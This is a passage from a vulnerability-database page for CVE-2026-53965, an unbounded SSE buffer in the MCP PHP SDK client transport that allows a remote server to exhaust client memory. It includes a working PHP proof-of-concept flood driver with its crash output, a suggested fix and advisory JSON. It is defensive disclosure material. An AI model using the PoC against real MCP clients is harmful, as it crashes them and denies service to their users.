Vulnerability-Lookup

GHSA-7M52-JW36-44R3

Vulnerability from github – Published: 2026-08-19 19:17 – Updated: 2026-08-19 19:17

Summary

MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter

Details

Summary

The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer ($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the "\n\n" delimiter makes $sseBuffer grow without limit until the client process exhausts its PHP memory_limit (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer.

This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.

Impact

Type: Denial of service (memory exhaustion / process crash) of the MCP client.
Who can trigger it: The remote MCP server endpoint the client connects to via HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed.
Effect: A response stream of N bytes containing no "\n\n" drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical memory_limit.
Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.

How input reaches the sink (reachability)

A client connects to a server over the HTTP transport by constructing Mcp\Client\Transport\HttpTransport with the server endpoint URL, then runs the connect/request loop.
The transport's loop calls tick() (line 182), which calls processSSEStream() (line 194) on each iteration.
processSSEStream() reads up to 4096 bytes from the active SSE stream and appends them to $this->sseBuffer (line 203).
The buffer is only drained inside the while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) loop (line 207). If the server never emits "\n\n", the strpos never matches, the buffer is never flushed, and it grows on every tick() until OOM.

Vulnerable code

src/Client/Transport/HttpTransport.php (v0.5.0):

    private string $sseBuffer = '';

    private function processSSEStream(): void
    {
        if (null === $this->activeStream) {
            return;
        }

        if (!$this->activeStream->eof()) {
            $chunk = $this->activeStream->read(4096);
            if ('' !== $chunk) {
                $this->sseBuffer .= $chunk;          // line 203 — unbounded append
            }
        }

        while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
            $event = substr($this->sseBuffer, 0, $pos);
            $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

            if (!empty(trim($event))) {
                $this->processSSEEvent($event);
            }
        }

        if ($this->activeStream->eof() && empty($this->sseBuffer)) {
            $this->activeStream = null;
        }
    }

$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a "\n\n" delimiter is present.

Proof of concept / End-to-end reproduction (against the released composer package)

Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release mcp/sdk v0.5.0 (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink.

Install the released package:

$ composer require mcp/sdk:0.5.0 --no-interaction
  - Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name     : mcp/sdk
versions : * v0.5.0

PoC driver (poc_sse.php). It exercises the unmodified released processSSEStream(); the ProbeHttp subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large body (4096 bytes per read()) that never contains "\n\n", mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client:

<?php
require __DIR__ . '/vendor/autoload.php';
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

final class FloodStream implements StreamInterface {
    private int $served = 0;
    public function __construct(private int $total) {}
    public function read(int $length): string {
        if ($this->served >= $this->total) return '';
        $n = min($length, $this->total - $this->served);
        $this->served += $n;
        return str_repeat('A', $n);           // never contains "\n\n"
    }
    public function eof(): bool { return $this->served >= $this->total; }
    public function __toString(): string { return ''; }
    public function close(): void {}
    public function detach() { return null; }
    public function getSize(): ?int { return $this->total; }
    public function tell(): int { return $this->served; }
    public function isSeekable(): bool { return false; }
    public function seek(int $o, int $w = SEEK_SET): void {}
    public function rewind(): void {}
    public function isWritable(): bool { return false; }
    public function write(string $s): int { return 0; }
    public function isReadable(): bool { return true; }
    public function getContents(): string { return ''; }
    public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); }
}
final class NullRequestFactory implements RequestFactoryInterface {
    public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); }
}
final class NullStreamFactory implements StreamFactoryInterface {
    public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); }
}
final class ProbeHttp extends HttpTransport {
    public function inject(StreamInterface $s): void {
        (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);
    }
    public function pump(): void {
        (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);
    }
}
function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }
$mode = $argv[1] ?? 'attack';
$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());

if ($mode === 'control') {
    $body = '';
    for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n";
    $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);
    $t->inject(new FloodStream(0));   // replaced below by a real stream over $tmp
    $stream = new class($tmp) implements StreamInterface {
        public function __construct(private $h) {}
        public function read(int $l): string { return (string) fread($this->h, $l); }
        public function eof(): bool { return feof($this->h); }
        public function __toString(): string { return ''; }
        public function close(): void {}
        public function detach() { return null; }
        public function getSize(): ?int { return null; }
        public function tell(): int { return 0; }
        public function isSeekable(): bool { return false; }
        public function seek(int $o,int $w=SEEK_SET): void {}
        public function rewind(): void {}
        public function isWritable(): bool { return false; }
        public function write(string $s): int { return 0; }
        public function isReadable(): bool { return true; }
        public function getContents(): string { return ''; }
        public function getMetadata(?string $k=null) { return null; }
    };
    $t->inject($stream);
    $before = memory_get_usage(true);
    for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();
    fwrite(STDERR,"[control] events fed   : 1000 well-formed SSE events (delimited by \\n\\n)\n");
    fwrite(STDERR,"[control] mem before   : ".fmtMB($before)."\n");
    fwrite(STDERR,"[control] mem after    : ".fmtMB(memory_get_usage(true))."\n");
    fwrite(STDERR,"[control] RESULT       : bounded, no OOM (each event flushed on \\n\\n)\n");
    exit(0);
}

ini_set('memory_limit','256M');
$SIZE = 400*1024*1024;                              // 400MB SSE body, NO "\n\n"
$t->inject(new FloodStream($SIZE));
fwrite(STDERR,"[attack] SSE body         : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n");
fwrite(STDERR,"[attack] memory_limit     : ".ini_get('memory_limit')."\n");
fwrite(STDERR,"[attack] mem before       : ".fmtMB(memory_get_usage(true))."\n");
register_shutdown_function(function() {
    $err = error_get_last();
    fwrite(STDERR,"[attack] peak mem         : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n");
    if ($err && stripos($err['message'],'memory')!==false)
        fwrite(STDERR,"[attack] RESULT           : OOM — ".trim($err['message'])."\n");
});
for ($i=0;;$i++) { $t->pump(); }      // each pump reads one 4096 chunk -> sseBuffer

Negative control — 1000 well-formed SSE events delimited by "\n\n": each pump flushes complete events, the buffer drains, memory stays flat:

$ php poc_sse.php control
[control] events fed   : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before   : 2.0 MB
[control] mem after    : 2.0 MB
[control] RESULT       : bounded, no OOM (each event flushed on \n\n)

Attack — a 400 MB SSE body with no "\n\n", client heap capped at 256 MB to make the crash deterministic (a production client has a larger or unbounded limit and is killed by the OS at whatever ceiling exists):

$ php poc_sse.php attack
[attack] SSE body         : 400.0 MB with NO \n\n delimiter
[attack] memory_limit     : 256M
[attack] mem before       : 2.0 MB
PHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()
#3 {main}
[attack] peak mem         : 256.0 MB
[attack] RESULT           : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)

The fatal error lands on the released vendor file vendor/mcp/sdk/src/Client/Transport/HttpTransport.php line 203, inside processSSEStream(), while the delimiter-respecting control workload stays at 2.0 MB. This confirms the unbounded SSE accumulation on the real released package.

Suggested fix

Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example:

private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable

private function processSSEStream(): void
{
    if (null === $this->activeStream) {
        return;
    }

    if (!$this->activeStream->eof()) {
        $chunk = $this->activeStream->read(4096);
        if ('' !== $chunk) {
            if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {
                $this->sseBuffer = '';
                $this->activeStream = null;
                $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [
                    'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,
                ]);

                return;
            }
            $this->sseBuffer .= $chunk;
        }
    }

    while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
        $event = substr($this->sseBuffer, 0, $pos);
        $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

        if (!empty(trim($event))) {
            $this->processSSEEvent($event);
        }
    }

    if ($this->activeStream->eof() && empty($this->sseBuffer)) {
        $this->activeStream = null;
    }
}

The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report.

Fix PR

A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.

Credit

Reported by tonghuaroot.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mcp/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T19:17:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response\nstream incrementally and appends each 4 KiB chunk to an in-memory buffer\n(`$this-\u003esseBuffer .= $chunk;`) with **no upper bound**. The buffer is only ever\nflushed when an SSE event delimiter (`\"\\n\\n\"`) appears. A remote MCP server (the\npeer the client connects to) that streams response bytes without ever sending the\n`\"\\n\\n\"` delimiter makes `$sseBuffer` grow without limit until the client process\nexhausts its PHP `memory_limit` (fatal \"Allowed memory size \u2026 exhausted\") or is\nkilled by the OS OOM-killer.\n\nThis is a denial-of-service against the MCP **client**: any server it talks to \u2014\nor a network position that controls the server\u0027s response body \u2014 can crash the\nclient by withholding the event delimiter while streaming data.\n\n## Impact\n\n- **Type:** Denial of service (memory exhaustion / process crash) of the MCP client.\n- **Who can trigger it:** The remote MCP server endpoint the client connects to via\n  `HttpTransport`, or any party that can control/inject into that server\u0027s SSE\n  response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious\n  or compromised server). The buffer growth happens while the transport is reading\n  the response stream, before a complete event is ever parsed.\n- **Effect:** A response stream of N bytes containing no `\"\\n\\n\"` drives the client\u0027s\n  resident buffer to track N. A few hundred MB of delimiter-free data is enough to\n  kill a client running with a typical `memory_limit`.\n- **Severity (suggested, maintainer to confirm):** High \u2014 a remote server can\n  reliably crash a connected client over the HTTP/SSE transport.\n\n## How input reaches the sink (reachability)\n\n1. A client connects to a server over the HTTP transport by constructing\n   `Mcp\\Client\\Transport\\HttpTransport` with the server endpoint URL, then runs\n   the connect/request loop.\n2. The transport\u0027s loop calls `tick()` (line 182), which calls\n   `processSSEStream()` (line 194) on each iteration.\n3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and\n   appends them to `$this-\u003esseBuffer` (line 203).\n4. The buffer is only drained inside the `while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\")))`\n   loop (line 207). If the server never emits `\"\\n\\n\"`, the `strpos` never matches,\n   the buffer is never flushed, and it grows on every `tick()` until OOM.\n\n## Vulnerable code\n\n`src/Client/Transport/HttpTransport.php` (v0.5.0):\n\n```php\n    private string $sseBuffer = \u0027\u0027;\n```\n\n```php\n    private function processSSEStream(): void\n    {\n        if (null === $this-\u003eactiveStream) {\n            return;\n        }\n\n        if (!$this-\u003eactiveStream-\u003eeof()) {\n            $chunk = $this-\u003eactiveStream-\u003eread(4096);\n            if (\u0027\u0027 !== $chunk) {\n                $this-\u003esseBuffer .= $chunk;          // line 203 \u2014 unbounded append\n            }\n        }\n\n        while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n            $event = substr($this-\u003esseBuffer, 0, $pos);\n            $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n            if (!empty(trim($event))) {\n                $this-\u003eprocessSSEEvent($event);\n            }\n        }\n\n        if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n            $this-\u003eactiveStream = null;\n        }\n    }\n```\n\n`$this-\u003esseBuffer .= $chunk;` has no length guard; the drain loop only fires when a\n`\"\\n\\n\"` delimiter is present.\n\n## Proof of concept / End-to-end reproduction (against the released composer package)\n\nEnvironment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test\nis the real published release `mcp/sdk v0.5.0` (the version that introduced this\nHTTP client transport), installed from Packagist \u2014 not a re-implementation of the\nsink.\n\nInstall the released package:\n\n```\n$ composer require mcp/sdk:0.5.0 --no-interaction\n  - Installing mcp/sdk (v0.5.0): Extracting archive\n$ composer show mcp/sdk\nname     : mcp/sdk\nversions : * v0.5.0\n```\n\nPoC driver (`poc_sse.php`). It exercises the **unmodified** released\n`processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the\nactive SSE stream and to invoke the inherited private method \u2014 no transport logic\nis overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large\nbody (4096 bytes per `read()`) that never contains `\"\\n\\n\"`, mirroring an\nadversarial SSE server response. The null PSR-18/17 stubs only satisfy the\nconstructor; the sink reads exclusively from the injected stream and never touches\nthe HTTP client:\n\n```php\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Mcp\\Client\\Transport\\HttpTransport;\nuse Psr\\Http\\Message\\StreamInterface;\nuse Psr\\Http\\Client\\ClientInterface;\nuse Psr\\Http\\Message\\RequestFactoryInterface;\nuse Psr\\Http\\Message\\StreamFactoryInterface;\nuse Psr\\Http\\Message\\RequestInterface;\nuse Psr\\Http\\Message\\ResponseInterface;\n\nfinal class FloodStream implements StreamInterface {\n    private int $served = 0;\n    public function __construct(private int $total) {}\n    public function read(int $length): string {\n        if ($this-\u003eserved \u003e= $this-\u003etotal) return \u0027\u0027;\n        $n = min($length, $this-\u003etotal - $this-\u003eserved);\n        $this-\u003eserved += $n;\n        return str_repeat(\u0027A\u0027, $n);           // never contains \"\\n\\n\"\n    }\n    public function eof(): bool { return $this-\u003eserved \u003e= $this-\u003etotal; }\n    public function __toString(): string { return \u0027\u0027; }\n    public function close(): void {}\n    public function detach() { return null; }\n    public function getSize(): ?int { return $this-\u003etotal; }\n    public function tell(): int { return $this-\u003eserved; }\n    public function isSeekable(): bool { return false; }\n    public function seek(int $o, int $w = SEEK_SET): void {}\n    public function rewind(): void {}\n    public function isWritable(): bool { return false; }\n    public function write(string $s): int { return 0; }\n    public function isReadable(): bool { return true; }\n    public function getContents(): string { return \u0027\u0027; }\n    public function getMetadata(?string $key = null) { return null; }\n}\nfinal class NullHttpClient implements ClientInterface {\n    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullRequestFactory implements RequestFactoryInterface {\n    public function createRequest(string $method, $uri): RequestInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullStreamFactory implements StreamFactoryInterface {\n    public function createStream(string $content = \u0027\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n    public function createStreamFromFile(string $filename, string $mode = \u0027r\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n    public function createStreamFromResource($resource): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class ProbeHttp extends HttpTransport {\n    public function inject(StreamInterface $s): void {\n        (new ReflectionProperty(HttpTransport::class, \u0027activeStream\u0027))-\u003esetValue($this, $s);\n    }\n    public function pump(): void {\n        (new ReflectionMethod(HttpTransport::class, \u0027processSSEStream\u0027))-\u003einvoke($this);\n    }\n}\nfunction fmtMB(int $b): string { return number_format($b/1048576,1).\u0027 MB\u0027; }\n$mode = $argv[1] ?? \u0027attack\u0027;\n$t = new ProbeHttp(\u0027http://127.0.0.1:9/mcp\u0027, [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());\n\nif ($mode === \u0027control\u0027) {\n    $body = \u0027\u0027;\n    for ($i=0;$i\u003c1000;$i++) $body .= \"event: message\\ndata: {\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":$i}\\n\\n\";\n    $tmp = fopen(\u0027php://temp\u0027,\u0027r+\u0027); fwrite($tmp,$body); rewind($tmp);\n    $t-\u003einject(new FloodStream(0));   // replaced below by a real stream over $tmp\n    $stream = new class($tmp) implements StreamInterface {\n        public function __construct(private $h) {}\n        public function read(int $l): string { return (string) fread($this-\u003eh, $l); }\n        public function eof(): bool { return feof($this-\u003eh); }\n        public function __toString(): string { return \u0027\u0027; }\n        public function close(): void {}\n        public function detach() { return null; }\n        public function getSize(): ?int { return null; }\n        public function tell(): int { return 0; }\n        public function isSeekable(): bool { return false; }\n        public function seek(int $o,int $w=SEEK_SET): void {}\n        public function rewind(): void {}\n        public function isWritable(): bool { return false; }\n        public function write(string $s): int { return 0; }\n        public function isReadable(): bool { return true; }\n        public function getContents(): string { return \u0027\u0027; }\n        public function getMetadata(?string $k=null) { return null; }\n    };\n    $t-\u003einject($stream);\n    $before = memory_get_usage(true);\n    for ($i=0;$i\u003c5000 \u0026\u0026 !$stream-\u003eeof();$i++) $t-\u003epump();\n    fwrite(STDERR,\"[control] events fed   : 1000 well-formed SSE events (delimited by \\\\n\\\\n)\\n\");\n    fwrite(STDERR,\"[control] mem before   : \".fmtMB($before).\"\\n\");\n    fwrite(STDERR,\"[control] mem after    : \".fmtMB(memory_get_usage(true)).\"\\n\");\n    fwrite(STDERR,\"[control] RESULT       : bounded, no OOM (each event flushed on \\\\n\\\\n)\\n\");\n    exit(0);\n}\n\nini_set(\u0027memory_limit\u0027,\u0027256M\u0027);\n$SIZE = 400*1024*1024;                              // 400MB SSE body, NO \"\\n\\n\"\n$t-\u003einject(new FloodStream($SIZE));\nfwrite(STDERR,\"[attack] SSE body         : \".fmtMB($SIZE).\" with NO \\\\n\\\\n delimiter\\n\");\nfwrite(STDERR,\"[attack] memory_limit     : \".ini_get(\u0027memory_limit\u0027).\"\\n\");\nfwrite(STDERR,\"[attack] mem before       : \".fmtMB(memory_get_usage(true)).\"\\n\");\nregister_shutdown_function(function() {\n    $err = error_get_last();\n    fwrite(STDERR,\"[attack] peak mem         : \".number_format(memory_get_peak_usage(true)/1048576,1).\" MB\\n\");\n    if ($err \u0026\u0026 stripos($err[\u0027message\u0027],\u0027memory\u0027)!==false)\n        fwrite(STDERR,\"[attack] RESULT           : OOM \u2014 \".trim($err[\u0027message\u0027]).\"\\n\");\n});\nfor ($i=0;;$i++) { $t-\u003epump(); }      // each pump reads one 4096 chunk -\u003e sseBuffer\n```\n\nNegative control \u2014 1000 well-formed SSE events delimited by `\"\\n\\n\"`: each pump\nflushes complete events, the buffer drains, memory stays flat:\n\n```\n$ php poc_sse.php control\n[control] events fed   : 1000 well-formed SSE events (delimited by \\n\\n)\n[control] mem before   : 2.0 MB\n[control] mem after    : 2.0 MB\n[control] RESULT       : bounded, no OOM (each event flushed on \\n\\n)\n```\n\nAttack \u2014 a 400 MB SSE body with no `\"\\n\\n\"`, client heap capped at 256 MB to make\nthe crash deterministic (a production client has a larger or unbounded limit and\nis killed by the OS at whatever ceiling exists):\n\n```\n$ php poc_sse.php attack\n[attack] SSE body         : 400.0 MB with NO \\n\\n delimiter\n[attack] memory_limit     : 256M\n[attack] mem before       : 2.0 MB\nPHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203\nStack trace:\n#0 [internal function]: Mcp\\Client\\Transport\\HttpTransport-\u003eprocessSSEStream()\n#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod-\u003einvoke(Object(ProbeHttp))\n#2 /private/tmp/work/poc_sse.php(129): ProbeHttp-\u003epump()\n#3 {main}\n[attack] peak mem         : 256.0 MB\n[attack] RESULT           : OOM \u2014 Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)\n```\n\nThe fatal error lands on the released vendor file\n`vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside\n`processSSEStream()`, while the delimiter-respecting control workload stays at\n2.0 MB. This confirms the unbounded SSE accumulation on the real released package.\n\n## Suggested fix\n\nBound the SSE buffer length and reject (or abort the stream) when it exceeds a\nconfigured maximum, so a server cannot force unbounded growth before a complete\nevent arrives. For example:\n\n```php\nprivate const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable\n\nprivate function processSSEStream(): void\n{\n    if (null === $this-\u003eactiveStream) {\n        return;\n    }\n\n    if (!$this-\u003eactiveStream-\u003eeof()) {\n        $chunk = $this-\u003eactiveStream-\u003eread(4096);\n        if (\u0027\u0027 !== $chunk) {\n            if (\\strlen($this-\u003esseBuffer) + \\strlen($chunk) \u003e self::MAX_SSE_BUFFER_BYTES) {\n                $this-\u003esseBuffer = \u0027\u0027;\n                $this-\u003eactiveStream = null;\n                $this-\u003elogger-\u003ewarning(\u0027Aborting SSE stream: buffer exceeded maximum size without a complete event.\u0027, [\n                    \u0027max_sse_buffer_bytes\u0027 =\u003e self::MAX_SSE_BUFFER_BYTES,\n                ]);\n\n                return;\n            }\n            $this-\u003esseBuffer .= $chunk;\n        }\n    }\n\n    while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n        $event = substr($this-\u003esseBuffer, 0, $pos);\n        $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n        if (!empty(trim($event))) {\n            $this-\u003eprocessSSEEvent($event);\n        }\n    }\n\n    if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n        $this-\u003eactiveStream = null;\n    }\n}\n```\n\nThe cap value and the over-limit policy (abort vs. error) are the maintainers\u0027\ncall. A fix PR against a private fork of the advisory workspace accompanies this\nreport.\n\n## Fix PR\n\nA patch bounding the SSE buffer is provided as a pull request against the private\ntemporary fork created for this advisory (the GHSA workspace fork). Details and\nlink are added to this advisory\u0027s thread once the private fork PR is opened. The\npatch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-7m52-jw36-44r3",
  "modified": "2026-08-19T19:17:50Z",
  "published": "2026-08-19T19:17:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mcp/sdk/CVE-2026-53965.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/php-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter"
}

CVE-2026-53965 (GCVE-0-2026-53965)

Vulnerability from cvelistv5 – Published: 2026-08-25 20:36 – Updated: 2026-08-26 15:00

Title

MCP PHP SDK: Unbounded SSE buffer in HttpTransport enables client-side denial of service

Summary

The MCP PHP SDK (Composer package mcp/sdk) is the official Model Context Protocol SDK for PHP. In versions 0.5.0 through 0.7.0, the HTTP client transport reads a Server-Sent Events response stream incrementally and appends each chunk to an in-memory buffer with no upper bound. The buffer is only flushed when an SSE event delimiter, a double newline, is found, so a remote MCP server that streams response bytes without ever sending the delimiter causes the buffer to grow without limit. A malicious, compromised, or man-in-the-middle-controlled server that the client connects to over the HTTP transport can exploit this to exhaust the client process's memory, triggering a fatal allocation error or OS out-of-memory kill and denying service to the MCP client. The issue affects any client using HttpTransport against an untrusted server endpoint and does not require authentication or user interaction beyond initiating the connection. This issue is fixed in version 0.7.1.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 14:59 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/modelcontextprotocol/php-sdk/s…	x_refsource_CONFIRM
https://github.com/modelcontextprotocol/php-sdk/c…	x_refsource_MISC
https://github.com/modelcontextprotocol/php-sdk/r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
modelcontextprotocol	php-sdk	Affected: >= 0.5.0, < 0.7.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-53965",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T14:59:57.576830Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T15:00:07.597Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "php-sdk",
          "vendor": "modelcontextprotocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.5.0, \u003c 0.7.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The MCP PHP SDK (Composer package mcp/sdk) is the official Model Context Protocol SDK for PHP. In versions 0.5.0 through 0.7.0, the HTTP client transport reads a Server-Sent Events response stream incrementally and appends each chunk to an in-memory buffer with no upper bound. The buffer is only flushed when an SSE event delimiter, a double newline, is found, so a remote MCP server that streams response bytes without ever sending the delimiter causes the buffer to grow without limit. A malicious, compromised, or man-in-the-middle-controlled server that the client connects to over the HTTP transport can exploit this to exhaust the client process\u0027s memory, triggering a fatal allocation error or OS out-of-memory kill and denying service to the MCP client. The issue affects any client using HttpTransport against an untrusted server endpoint and does not require authentication or user interaction beyond initiating the connection. This issue is fixed in version 0.7.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
